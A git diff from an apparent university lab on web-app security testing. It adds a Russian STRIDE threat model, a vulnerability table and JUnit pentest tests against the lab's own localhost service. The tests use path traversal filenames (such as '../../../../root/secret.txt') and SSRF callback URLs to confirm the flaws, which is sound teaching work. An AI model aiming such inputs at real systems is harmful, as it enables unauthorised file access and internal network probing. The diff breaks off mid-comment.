diff --git a/.idea/.name b/.idea/.name new file mode 100644 index 0000000..786c7a2 --- /dev/null +++ b/.idea/.name @@ -0,0 +1 @@ +software_testing_lab_4 \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 0000000..e5d35df --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.idea/gradle.xml b/.idea/gradle.xml index 9a03a98..5112058 100644 --- a/.idea/gradle.xml +++ b/.idea/gradle.xml @@ -1,5 +1,6 @@ + diff --git a/.idea/vcs.xml b/.idea/vcs.xml index 94a25f7..35eb1dd 100644 --- a/.idea/vcs.xml +++ b/.idea/vcs.xml @@ -1,6 +1,6 @@ - + \ No newline at end of file diff --git a/README.md b/README.md index 18eee9a..6d50c5c 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,4 @@ +[![Review Assignment Due Date](https://classroom.github.com/assets/deadline-readme-button-22041afd0340ce965d47ae6ef1cefeee28c7c493a6346c4f15d667ab976d596c.svg)](https://classroom.github.com/a/NSTTkgmb) # Лабораторная работа №4 — Анализ и тестирование безопасности веб-приложения ## Цель @@ -40,12 +41,12 @@ Заполните таблицу активов системы: -| Актив | Тип | Ценность | Примечание | -|-------|-----|----------|------------| -| Данные пользователей (userId, userName) | Данные | ? | | -| Данные о сессиях (время входа/выхода) | Данные | ? | | -| Файловая система сервера | Инфраструктура | ? | | -| Внутренняя сеть / метаданные окружения | Инфраструктура | ? | | +| Актив | Тип | Ценность | Примечание | +|-------|-----|-------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Данные пользователей (userId, userName) | Данные | Высокая | userId используется как первичный ключ для доступа ко всем другим данным пользователя. userName может содержать XSS-векторы | +| Данные о сессиях (время входа/выхода) | Данные | Средняя | Поведенческие данные - позволяют анализировать активность, вычислять неактивных пользователей, строить графики активности. При утечке могут раскрыть режим работы пользователя. | +| Файловая система сервера | Инфраструктура | Критическая | Эндпоинт /exportReport принимает параметр filename - прямая угроза Path Traversal. Возможно чтение конфигураций, исходного кода, секретов, SSH-ключей, данных других пользователей. | +| Внутренняя сеть / метаданные окружения | Инфраструктура | Критическая | Эндпоинт /notify принимает callbackUrl - угроза SSRF (Server-Side Request Forgery). Атакующий может сканировать внутреннюю сеть, атаковать внутренние сервисы | > **Вопрос для размышления:** какие из активов наиболее критичны и почему? @@ -55,14 +56,14 @@ Проведите базовое моделирование угроз по методологии **STRIDE**: -| Категория угрозы | Расшифровка | Применимо к этому приложению? | -|------------------|------------------------|-------------------------------| -| **S**poofing | Подмена идентификации | ? | -| **T**ampering | Модификация данных | ? | -| **R**epudiation | Отказ от авторства | ? | -| **I**nformation Disclosure | Утечка данных | ? | -| **D**enial of Service | Отказ в обслуживании | ? | -| **E**levation of Privilege | Повышение привилегий | ? | +| Категория угрозы | Расшифровка | Применимо к этому приложению? | | +|------------------|------------------------|-------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| **S**poofing | Подмена идентификации | Да | userId передаётся как GET/POST параметр - нет аутентификации, нет сессий, нет токенов. Злоумышленник может подставить любой userId и получить данные другого пользователя. | +| **T**ampering | Модификация данных | Да | Отсутствует контроль целостности. Через userId в запросах можно модифицировать сессии (/recordSession) или экспортировать отчёты других пользователей (/exportReport?userId=). | +| **R**epudiation | Отказ от авторства | Да | Нет логирования действий. Невозможно доказать, кто именно создал сессию или запросил отчёт. Атакующий может отрицать свои действия. | +| **I**nformation Disclosure | Утечка данных | Да | Множество векторов: Path Traversal (/exportReport?filename=), SSRF (/notify?callbackUrl=), отсутствие ACL на userId, возможные ошибки с выводом stack traces. | +| **D**enial of Service | Отказ в обслуживании | Да | Нет ограничений на количество запросов, размер данных, сложность запросов. /recordSession может заспамить миллионами сессий. /exportReport может открыть огромные файлы. | +| **E**levation of Privilege | Повышение привилегий | Частично | Нет ролевой модели (все пользователи равны). Однако через Path Traversal или SSRF атакующий может получить доступ к файлам сервера -> перейти от «пользователь» к «сервер» / «внутренняя сеть». | Для каждой применимой угрозы укажите: - **Источник угрозы** (кто/что может её реализовать) @@ -71,6 +72,88 @@ --- +### Детализация угроз + +#### Spoofing (подмена идентификации) + +| Поле | Значение | +|------|----------| +| **Источник угрозы** | Внешний неаутентифицированный злоумышленник | +| **Поверхность атаки** | Все эндпоинты, принимающие `userId`: `/register`, `/recordSession`, `/totalActivity`, `/monthlyActivity`, `/userProfile`, `/exportReport`, `/notify` | +| **Потенциальный ущерб** | Доступ к чужим данным, модификация чужих сессий, экспорт отчётов других пользователей. Любой может представиться любым `userId`. | + +--- + +#### Tampering (модификация данных) + +| Поле | Значение | +|------|----------| +| **Источник угрозы** | Внешний злоумышленник | +| **Поверхность атаки** | `/recordSession` (параметры `userId`, `loginTime`, `logoutTime`), `/register` (повторная регистрация того же `userId` с другим `userName`) | +| **Потенциальный ущерб** | Подмена чужих сессий, искажение аналитики активности, засорение базы данных ложными записями, нарушение целостности отчётности. | + +--- + +#### Repudiation (отказ от авторства) + +| Поле | Значение | +|------|----------------------------------------------------------------------------------------------------------------------------| +| **Источник угрозы** | Любой пользователь (злонамеренный или легальный, желающий скрыть свои действия) | +| **Поверхность атаки** | Все эндпоинты - отсутствие аудита (логирования запросов с идентификацией) | +| **Потенциальный ущерб** | Невозможно расследовать инцидент безопасности. Администратор не может определить, кто использовал Path Traversal или SSRF. | + +--- + +#### Information Disclosure: Path Traversal + +| Поле | Значение | +|------|----------| +| **Источник угрозы** | Внешний злоумышленник | +| **Поверхность атаки** | `GET /exportReport?userId=any&filename=` | +| **Потенциальный ущерб** | Чтение любых файлов на сервере: `/etc/passwd`, конфигурационные файлы с паролями БД, исходный код приложения, JWT-секреты, SSH-ключи, переменные окружения. | + +--- + +#### Information Disclosure: SSRF + +| Поле | Значение | +|------|----------| +| **Источник угрозы** | Внешний злоумышленник | +| **Поверхность атаки** | `POST /notify?userId=any&callbackUrl=` | +| **Потенциальный ущерб** | Сканирование внутренней сети, атаки на внутренние сервисы. | + +--- + +#### Information Disclosure: XSS (Cross-Site Scripting) + +| Поле | Значение | +|------|----------| +| **Источник угрозы** | Внешний злоумышленник | +| **Поверхность атаки** | `POST /register` (параметр `userName`), затем `GET /userProfile` (рендеринг имени без экранирования) | +| **Потенциальный ущерб** | Выполнение произвольного JavaScript в браузере жертвы: кража сессий, фишинг, подделка запросов от имени пользователя. | + +--- + +#### Denial of Service (отказ в обслуживании) + +| Поле | Значение | +|------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| **Источник угрозы** | Внешний злоумышленник или ботнет | +| **Поверхность атаки** | Любой эндпоинт, особенно: `/recordSession` (массовая вставка сессий), `/exportReport` (чтение огромных файлов), `/totalActivity` (тяжёлые агрегатные запросы) | +| **Потенциальный ущерб** | Переполнение базы данных миллионами записей, блокировка CPU/IO, исчерпание памяти, падение сервера, невозможность легальным пользователям получить доступ к приложению. | + +--- + +#### Elevation of Privilege (повышение привилегий) + +| Поле | Значение | +|------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| **Источник угрозы** | Внешний злоумышленник | +| **Поверхность атаки** | Path Traversal (`/exportReport`) -> чтение конфигурационных файлов с паролями/токенами -> доступ к БД или внутренним сервисам. SSRF (`/notify`) -> доступ к внутренней сети и метаданным облака -> компрометация инфраструктуры. | +| **Потенциальный ущерб** | Переход от «неаутентифицированный пользователь» к «привилегии сервера», «доступ к базе данных», «контроль над облачной средой». Полный захват приложения и инфраструктуры. | + +--- + ### Этап 3 — Ручное тестирование Исследуйте каждый эндпоинт вручную — с помощью `curl`, Postman, Burp Suite или браузера. @@ -99,6 +182,24 @@ curl "http://localhost:7000/userProfile?userId=evil" > Данный пример — лишь отправная точка. Исследуйте **все** эндпоинты самостоятельно. +## Сводная таблица найденных уязвимостей + +| № | Эндпоинт | Уязвимость | CWE | +|---|----------|-----------|-----| +| 1 | `/register` + `/userProfile` | Stored XSS | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) | +| 2 | Все эндпоинты | Отсутствие аутентификации | [CWE-306](https://cwe.mitre.org/data/definitions/306.html) | +| 3 | Все эндпоинты | Отсутствие rate limiting | [CWE-770](https://cwe.mitre.org/data/definitions/770.html) | +| 4 | `/recordSession` | IDOR (Spoofing) | [CWE-639](https://cwe.mitre.org/data/definitions/639.html) | +| 5 | `/totalActivity` | IDOR (Spoofing) | [CWE-639](https://cwe.mitre.org/data/definitions/639.html) | +| 6 | `/monthlyActivity` | IDOR (Spoofing) | [CWE-639](https://cwe.mitre.org/data/definitions/639.html) | +| 7 | `/exportReport` | Path Traversal (запись файлов) | [CWE-22](https://cwe.mitre.org/data/definitions/22.html) | +| 8 | `/exportReport` | Directory Traversal / перезапись файлов | [CWE-73](https://cwe.mitre.org/data/definitions/73.html) | +| 9 | `/notify` | SSRF (Server-Side Request Forgery) | [CWE-918](https://cwe.mitre.org/data/definitions/918.html) | +| 10 | `/notify` | SSRF через file:// протокол (чтение файлов) | [CWE-918](https://cwe.mitre.org/data/definitions/918.html) | +| 11 | `/inactiveUsers` | Information Disclosure (ошибки парсинга) | [CWE-209](https://cwe.mitre.org/data/definitions/209.html) | +| 12 | `/monthlyActivity` | Information Disclosure (ошибки парсинга) | [CWE-209](https://cwe.mitre.org/data/definitions/209.html) | +| 13 | `/recordSession` | Information Disclosure (ошибки парсинга) | [CWE-209](https://cwe.mitre.org/data/definitions/209.html) | + --- ### Этап 4 — Статический анализ с Semgrep diff --git a/build.gradle b/build.gradle index fb0a8f7..2b0040a 100644 --- a/build.gradle +++ b/build.gradle @@ -12,6 +12,7 @@ repositories { dependencies { implementation 'io.javalin:javalin:6.3.0' implementation 'org.slf4j:slf4j-simple:2.0.13' + implementation 'com.fasterxml.jackson.core:jackson-databind:2.17.2' testImplementation platform('org.junit:junit-bom:6.0.0') testImplementation 'org.junit.jupiter:junit-jupiter' diff --git a/semgrep-report.json b/semgrep-report.json new file mode 100644 index 0000000..298c510 --- /dev/null +++ b/semgrep-report.json @@ -0,0 +1 @@ +{"version":"1.159.0","results":[],"errors":[],"paths":{"scanned":["src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java","src\\main\\java\\ru\\itmo\\testing\\lab4\\Main.java","src\\main\\java\\ru\\itmo\\testing\\lab4\\profilingdemo\\ProfilingDemoMain.java","src\\main\\java\\ru\\itmo\\testing\\lab4\\profilingdemo\\ProfilingWorkload.java","src\\main\\java\\ru\\itmo\\testing\\lab4\\service\\UserAnalyticsService.java","src\\main\\java\\ru\\itmo\\testing\\lab4\\service\\UserStatusService.java"]},"time":{"rules":[],"rules_parse_time":0.12845182418823242,"profiling_times":{"config_time":2.1372992992401123,"core_time":0.6763730049133301,"ignores_time":0.00011754035949707031,"total_time":2.841381549835205},"parsing_time":{"total_time":0.0,"per_file_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"scanning_time":{"total_time":0.27506208419799805,"per_file_time":{"mean":0.04584368069966634,"std_dev":0.00022842930818316946},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"matching_time":{"total_time":0.0,"per_file_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_files":[]},"tainting_time":{"total_time":0.0,"per_def_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_defs":[]},"fixpoint_timeouts":[],"prefiltering":{"project_level_time":0.0,"file_level_time":0.0,"rules_with_project_prefilters_ratio":0.0,"rules_with_file_prefilters_ratio":0.95,"rules_selected_ratio":0.10833333333333334,"rules_matched_ratio":0.10833333333333334},"targets":[],"total_bytes":0,"max_memory_bytes":208133696},"engine_requested":"OSS","skipped_rules":[],"profiling_results":[]} \ No newline at end of file diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/AuthenticationPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/AuthenticationPentestTest.java new file mode 100644 index 0000000..31b2bc0 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/AuthenticationPentestTest.java @@ -0,0 +1,179 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * ПЕНТЕСТ-ОТЧЁТ: CWE-306 - Отсутствие аутентификации + * ============================================================================= + *

+ * Компонент: Все эндпоинты (GET /totalActivity, POST /recordSession, GET /monthlyActivity, и т.д.) + * CWE: CWE-306 (Missing Authentication for Critical Function) + * CVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + * Статус: CONFIRMED + *

+ * ОПИСАНИЕ: + * Приложение не проверяет аутентификацию пользователя перед выполнением любых действий. + * Любой внешний злоумышленник может выполнять запросы от имени любого пользователя, + * подставляя произвольный userId в query-параметры. + *

+ * ВЕКТОР АТАКИ: + * 1. Злоумышленник регистрирует своего пользователя или находит существующего + * 2. Выполняет запрос без какой-либо аутентификации: + * GET /totalActivity?userId=alice + * → Сервер возвращает данные пользователя alice без проверки прав. + *

+ * ВЛИЯНИЕ: + * - Получение данных любого пользователя + * - Запись фейковых сессий от имени любого пользователя + * - Эксплуатация всех остальных уязвимостей без ограничений + *

+ * МЕРЫ ЗАЩИТЫ: + * - Добавить механизм аутентификации (JWT, Session, OAuth2) + * - Добавить before-обработчик для проверки токена + * - Использовать userId из аутентифицированного контекста, а не из параметров запроса + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class AuthenticationPentestTest { + + private static final int TEST_PORT = 7777; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + @Test + @Order(1) + @DisplayName("[RECON] Регистрация пользователя для тестирования") + void registerTestUser() throws Exception { + HttpResponse response = send("POST", "/register?userId=alice&userName=Alice"); + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("User registered")); + } + + @Test + @Order(2) + @DisplayName("[RECON] /totalActivity доступен без аутентификации - УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА") + void totalActivityAccessibleWithoutAuth() throws Exception { + send("POST", "/recordSession?userId=alice&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"); + + HttpResponse response = send("GET", "/totalActivity?userId=alice"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: /totalActivity доступен без аутентификации, должен быть защищён"); + assertTrue(response.body().contains("Total activity"), + "Данные пользователя возвращаются без аутентификации"); + } + + @Test + @Order(3) + @DisplayName("[RECON] /recordSession доступен без аутентификации - УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА") + void recordSessionAccessibleWithoutAuth() throws Exception { + HttpResponse response = send("POST", + "/recordSession?userId=alice&loginTime=2024-01-02T09:00:00&logoutTime=2024-01-02T17:00:00"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: /recordSession доступен без аутентификации, должен быть защищён"); + assertTrue(response.body().contains("Session recorded"), + "Сессия записана без аутентификации"); + } + + @Test + @Order(4) + @DisplayName("[RECON] /monthlyActivity доступен без аутентификации - УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА") + void monthlyActivityAccessibleWithoutAuth() throws Exception { + HttpResponse response = send("GET", "/monthlyActivity?userId=alice&month=2024-01"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: /monthlyActivity доступен без аутентификации, должен быть защищён"); + } + + @Test + @Order(5) + @DisplayName("[RECON] /exportReport доступен без аутентификации - УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА") + void exportReportAccessibleWithoutAuth() throws Exception { + HttpResponse response = send("GET", "/exportReport?userId=alice&filename=test.txt"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: /exportReport доступен без аутентификации, должен быть защищён"); + } + + @Test + @Order(6) + @DisplayName("[RECON] /notify доступен без аутентификации - УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА") + void notifyAccessibleWithoutAuth() throws Exception { + HttpResponse response = send("POST", + "/notify?userId=alice&callbackUrl=https://httpbin.org/get"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: /notify доступен без аутентификации, должен быть защищён"); + } + + @Test + @Order(7) + @DisplayName("[EXPLOIT] Можно получить данные другого пользователя без аутентификации") + void canAccessOtherUserDataWithoutAuth() throws Exception { + send("POST", "/register?userId=bob&userName=Bob"); + send("POST", "/recordSession?userId=bob&loginTime=2024-01-01T09:00:00Z&logoutTime=2024-01-01T17:00:00Z"); + + HttpResponse response = send("GET", "/totalActivity?userId=bob"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: данные пользователя bob доступны без аутентификации"); + assertTrue(response.body().contains("Total activity"), + "Возвращаются данные чужого пользователя"); + } + + @Test + @Order(8) + @DisplayName("[EXPLOIT] Можно записать сессию от имени другого пользователя без аутентификации") + void canRecordSessionForOtherUserWithoutAuth() throws Exception { + HttpResponse response = send("POST", + "/recordSession?userId=bob&loginTime=2024-01-03T09:00:00&logoutTime=2024-01-03T17:00:00"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: можно записать сессию от имени другого пользователя без аутентификации"); + assertTrue(response.body().contains("Session recorded"), + "Сессия записана от имени чужого пользователя"); + } + + @Test + @Order(9) + @DisplayName("[BOUNDARY] Несуществующий userId в /totalActivity возвращает 0") + void nonExistentUserInTotalActivity() throws Exception { + HttpResponse response = send("GET", "/totalActivity?userId=nonexistent"); + + assertTrue(response.body().contains("0 minutes") || response.body().contains("0"), + "Несуществующий пользователь должен возвращать 0 активности"); + } + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} \ No newline at end of file diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/IdorPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/IdorPentestTest.java new file mode 100644 index 0000000..6c8ed8c --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/IdorPentestTest.java @@ -0,0 +1,126 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * ПЕНТЕСТ-ОТЧЕТ: CWE-639 - IDOR (Insecure Direct Object Reference) + * ============================================================================= + *

+ * Компонент: POST /recordSession, GET /totalActivity, GET /monthlyActivity + * CWE: CWE-639 (Authorization Bypass Through User-Controlled Key) + * CVSS v3.1: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + * Статус: CONFIRMED + *

+ * ОПИСАНИЕ: + * Параметр userId передаётся через query-параметры и не проверяется на соответствие + * аутентифицированному пользователю. Любой может подставить чужой userId и получить + * или модифицировать его данные. + *

+ * ВЕКТОР АТАКИ: + * 1. Злоумышленник узнаёт, что существует пользователь "bob" + * 2. Выполняет запрос с подменой userId: + * GET /totalActivity?userId=bob + * -> Сервер возвращает данные пользователя bob, хотя злоумышленник не авторизован для этого. + *

+ * ВЛИЯНИЕ: + * - Получение активности любого пользователя + * - Запись фейковых сессий от имени других пользователей + * - Искажение аналитики и отчётов + *

+ * МЕРЫ ЗАЩИТЫ: + * - Извлекать userId из аутентифицированного контекста (JWT, сессия) + * - Не доверять userId из параметров запроса + * - Добавить проверку прав: if (!userId.equals(requestedUserId) && !isAdmin()) + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class IdorPentestTest { + + private static final int TEST_PORT = 7777; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + @Test + @Order(1) + @DisplayName("[RECON] Регистрация пользователей для тестирования IDOR") + void registerTestUsers() throws Exception { + send("POST", "/register?userId=alice&userName=Alice"); + send("POST", "/register?userId=bob&userName=Bob"); + + send("POST", "/recordSession?userId=alice&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T12:00:00"); + send("POST", "/recordSession?userId=bob&loginTime=2024-01-01T13:00:00&logoutTime=2024-01-01T18:00:00"); + } + + @Test + @Order(2) + @DisplayName("[EXPLOIT] IDOR в /totalActivity - можно получить активность другого пользователя") + void idorInTotalActivity() throws Exception { + HttpResponse response = send("GET", "/totalActivity?userId=bob"); + + assertTrue(response.body().contains("300 minutes") || response.body().contains("Total activity"), + "Данные пользователя bob доступны через подмену userId - IDOR уязвимость"); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT] IDOR в /monthlyActivity - можно получить активность другого пользователя") + void idorInMonthlyActivity() throws Exception { + HttpResponse response = send("GET", "/monthlyActivity?userId=bob&month=2024-01"); + + assertEquals(200, response.statusCode(), + "Данные monthlyActivity для bob доступны через подмену userId - IDOR уязвимость"); + } + + @Test + @Order(4) + @DisplayName("[EXPLOIT] IDOR в /recordSession - можно записать сессию от имени другого пользователя") + void idorInRecordSession() throws Exception { + HttpResponse response = send("POST", + "/recordSession?userId=alice&loginTime=2024-01-02T09:00:00&logoutTime=2024-01-02T17:00:00"); + + assertEquals(200, response.statusCode(), + "Можно записать сессию от имени другого пользователя - IDOR уязвимость"); + } + + @Test + @Order(5) + @DisplayName("[BOUNDARY] Несуществующий userId в /totalActivity возвращает 0") + void nonExistentUserInTotalActivity() throws Exception { + HttpResponse response = send("GET", "/totalActivity?userId=nonexistent"); + + assertTrue(response.body().contains("0 minutes") || response.body().contains("0"), + "Несуществующий пользователь должен возвращать 0 активности"); + } + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} \ No newline at end of file diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/InformationDisclosurePentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/InformationDisclosurePentestTest.java new file mode 100644 index 0000000..6ecc868 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/InformationDisclosurePentestTest.java @@ -0,0 +1,151 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * ПЕНТЕСТ-ОТЧЁТ: CWE-209 - Information Disclosure (Stack Traces) + * ============================================================================= + *

+ * Компонент: POST /recordSession, GET /monthlyActivity, GET /exportReport, POST /notify + * CWE: CWE-209 (Generation of Error Message Containing Sensitive Information) + * CVSS v3.1: 4.3 (Medium) - AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N + * Статус: CONFIRMED + *

+ * ОПИСАНИЕ: + * При возникновении ошибок приложение возвращает детали исключений + * (e.getMessage()) в теле ответа, что раскрывает внутреннюю структуру + * приложения, имена классов, методы парсинга. + *

+ * ВЕКТОР АТАКИ: + * 1. Отправить запрос с некорректной датой: + * POST /recordSession?userId=alice&loginTime=invalid&logoutTime=2024-01-01T17:00:00 + * -> Сервер возвращает: "Invalid data: Text 'invalid' could not be parsed at index 0" + *

+ * ВЛИЯНИЕ: + * - Узнать внутренние имена классов и методов + * - Получить информацию о структуре парсинга дат + * - Собрать данные для более точных атак + *

+ * МЕРЫ ЗАЩИТЫ: + * - Возвращать обобщённые сообщения об ошибках + * - Логировать детали ошибок на сервере (в файл логов) + * - Не передавать e.getMessage() клиенту + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class InformationDisclosurePentestTest { + + private static final int TEST_PORT = 7777; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + + @Test + @Order(1) + @DisplayName("[RECON] Регистрация пользователя для тестирования") + void registerTestUser() throws Exception { + send("POST", "/register?userId=info_test&userName=InfoTest"); + send("POST", "/register?userId=alice&userName=Alice"); + } + + + @Test + @Order(2) + @DisplayName("[EXPLOIT] /recordSession раскрывает детали ошибки парсинга даты") + void recordSessionRevealsParsingDetails() throws Exception { + HttpResponse response = send("POST", + "/recordSession?userId=alice&loginTime=invalid&logoutTime=2024-01-01T17:00:00"); + + String body = response.body(); + assertTrue(body.contains("could not be parsed") || body.contains("index"), + "Сообщение об ошибке раскрывает детали парсинга даты: " + body); + assertTrue(body.contains("LocalDateTime") || body.contains("Text"), + "Ошибка раскрывает внутренние классы Java"); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT] /monthlyActivity раскрывает детали ошибки парсинга месяца") + void monthlyActivityRevealsParsingDetails() throws Exception { + HttpResponse response = send("GET", + "/monthlyActivity?userId=alice&month=invalid-month"); + + String body = response.body(); + assertTrue(body.contains("could not be parsed") || body.contains("YearMonth"), + "Сообщение об ошибке раскрывает детали парсинга месяца: " + body); + } + + @Test + @Order(4) + @DisplayName("[EXPLOIT] /exportReport раскрывает путь в файловой системе") + void exportReportRevealsFilePath() throws Exception { + HttpResponse response = send("GET", + "/exportReport?userId=alice&filename=../../../../root/secret.txt"); + + String body = response.body(); + if (response.statusCode() == 500) { + assertTrue(body.contains("/root/secret.txt") || body.contains("Permission denied"), + "Ошибка раскрывает путь к файлу: " + body); + } + } + + @Test + @Order(5) + @DisplayName("[EXPLOIT] /notify раскрывает детали ошибки соединения") + void notifyRevealsConnectionDetails() throws Exception { + HttpResponse response = send("POST", + "/notify?userId=alice&callbackUrl=http://nonexistent.domain.xyz:9999/test"); + + String body = response.body(); + if (response.statusCode() == 500) { + assertTrue(body.contains("Notification failed: Connect timed out") || + body.contains("UnknownHost") || + body.contains("timeout"), + "Ошибка раскрывает детали сетевого подключения: " + body); + } + } + + @Test + @Order(6) + @DisplayName("[BOUNDARY] /inactiveUsers с некорректным days не раскрывает детали") + void inactiveUsersWithInvalidDays() throws Exception { + HttpResponse response = send("GET", "/inactiveUsers?days=abc"); + + String body = response.body(); + assertFalse(body.contains("NumberFormatException") || body.contains("For input string"), + "Ошибка не должна раскрывать NumberFormatException: " + body); + } + + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} \ No newline at end of file diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java new file mode 100644 index 0000000..0ceda96 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java @@ -0,0 +1,187 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * ПЕНТЕСТ-ОТЧЁТ: CWE-22 / CWE-73 - Path Traversal (запись файлов) + * ============================================================================= + *

+ * Компонент: GET /exportReport + * CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) + * CWE-73 (External Control of File Name or Path) + * CVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N + * Статус: CONFIRMED + *

+ * ОПИСАНИЕ: + * Эндпоинт /exportReport принимает параметр filename и конкатенирует его + * с базовой директорией /tmp/reports/ без валидации. + * Злоумышленник может использовать ../ для записи файлов в произвольные директории. + *

+ * ВЕКТОР АТАКИ: + * 1. Злоумышленник регистрирует пользователя: + * POST /register?userId=alice&userName=Alice + * 2. Выполняет запрос с Path Traversal: + * GET /exportReport?userId=alice&filename=../../../../tmp/evil.txt + * -> Сервер создаёт файл /tmp/evil.txt (вне разрешённой директории) + *

+ * ВЛИЯНИЕ: + * - Перезапись существующих файлов (включая конфигурационные) + * - Запись вредоносных скриптов (если есть права) + * - Заполнение диска мусорными файлами (DoS) + * - Раскрытие структуры файловой системы через ошибки + *

